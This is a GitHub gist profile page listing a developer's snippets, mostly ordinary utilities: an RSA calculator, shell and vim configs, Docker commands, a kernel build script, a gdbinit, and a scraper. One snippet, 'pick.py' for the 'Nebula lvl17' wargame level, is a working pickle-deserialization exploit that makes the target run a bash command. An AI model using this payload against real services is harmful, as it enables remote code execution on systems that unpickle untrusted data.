Skip to content

Instantly share code, notes, and snippets.

View debuti's full-sized avatar
😀

Borja Garcia debuti

😀
  • Spain
View GitHub Profile
@debuti
debuti / gmprsa
Last active December 20, 2017 21:49
A little tool to perform RSA key calculations, all the data is requested in base10
#include <gmp.h>
#include <stdio.h>
#include <assert.h>
/// gcc -o gmprsa gmprsa.c -g -lgmp && ./gmprsa
int main(){
char inputStr[1024];
mpz_t p,q,e,n,r,p_,q_,d;
@debuti
debuti / pick.py
Created December 30, 2017 23:28
Nebula lvl17
import cPickle
import subprocess
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/bash','-c','getflag>/tmp/flag'), 0 ,None))
print cPickle.dumps(Exploit())
@debuti
debuti / .bash_profile
Last active February 1, 2019 15:20
My gitconfig and related utils
# Taken from https://gist.github.com/kevinchappell/09ca3805a9531b818579
parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
PS1='${debian_chroot:+($debian_chroot)}\[\033[1;31m\]\u\[\033[1;37m\]@\[\033[1;32m\]\h\[\033[1;37m\]:\[\033[1;36m\]\w \[\033[1;35m\]$(parse_git_branch) \[\033[1;33m\]\$ \[\033[0m\]'
@debuti
debuti / .vimrc
Created April 9, 2018 10:40
My vimconfig
" Enable syntax highlighting
syntax on
" Disable use of the mouse for visual
set mouse-=a
" Display line numbers on the left
set number
@debuti
debuti / docker-cmds
Last active June 11, 2018 14:05
Docker cmds cheatsheet
# State flow diagram
https://i.stack.imgur.com/vGuay.png
# Delete containers
docker rm $(docker ps -a -q)
# List containers
docker container ls -a
# Delete images
@debuti
debuti / embedded-x86_64-kernel
Last active December 2, 2024 03:59
Kernel and rootfs build for qemu simulator
#!/bin/bash
mkdir -p ~/dev/i386
cd ~/dev/i386
# Vanilla
mkdir vanilla
cd vanilla
## Crosstool
@debuti
debuti / .gdbinit
Last active April 29, 2025 14:45
gdbinit
# https://github.com/cyrus-and/gdb-dashboard
# wget -O ~/.dashboard.gdb https://github.com/cyrus-and/gdb-dashboard/raw/master/.gdbinit
source ~/.dashboard.gdb
set confirm off
set verbose off
# Custom dashboard config
dashboard source -style height 20
dashboard assembly -style height 20
@debuti
debuti / Makefile
Last active August 21, 2018 08:29
ARM C to ASM call
CROSS_COMPILE ?= arm-unknown-eabi
AOPS = --warn --fatal-warnings
COPS = -Wall -Werror -O0 -nostdlib -nostartfiles -ffreestanding
callasm.bin: print.s callasm.c
$(CROSS_COMPILE)-as $(AOPS) print.s -o print.o
$(CROSS_COMPILE)-cc -c $(COPS) callasm.c -o callasm.o
# Caution! The order of the object files is critical
$(CROSS_COMPILE)-ld callasm.o print.o -o callasm.elf
@debuti
debuti / bx
Last active August 27, 2018 10:58
Base64 multi-encoding/decoding script
#!/bin/bash
# Source this file
# The output length follows an expotential sequence, the same as the computation time
function bex { outstr=$1; incount=$2; while [[ ! incount -eq 0 ]]; do outstr=$(echo "$outstr" | base64 -w0); (( incount-- )); done; echo $outstr; }
function bdx { outstr=$1; incount=$2; while [[ ! incount -eq 0 ]]; do outstr=$(echo "$outstr" | base64 -d); (( incount-- )); done; echo $outstr; }
@debuti
debuti / pag-empleo.py
Last active September 10, 2018 15:04
Scrapping script for public positions in Spain cityhalls
#!/usr/bin/env python3
from bs4 import BeautifulSoup
import requests
import re
import json
import datetime
urlbase = 'https://administracion.gob.es/pagFront/empleoBecas/empleo'
url = urlbase + '/buscadorEmpleoAvanzado.htm'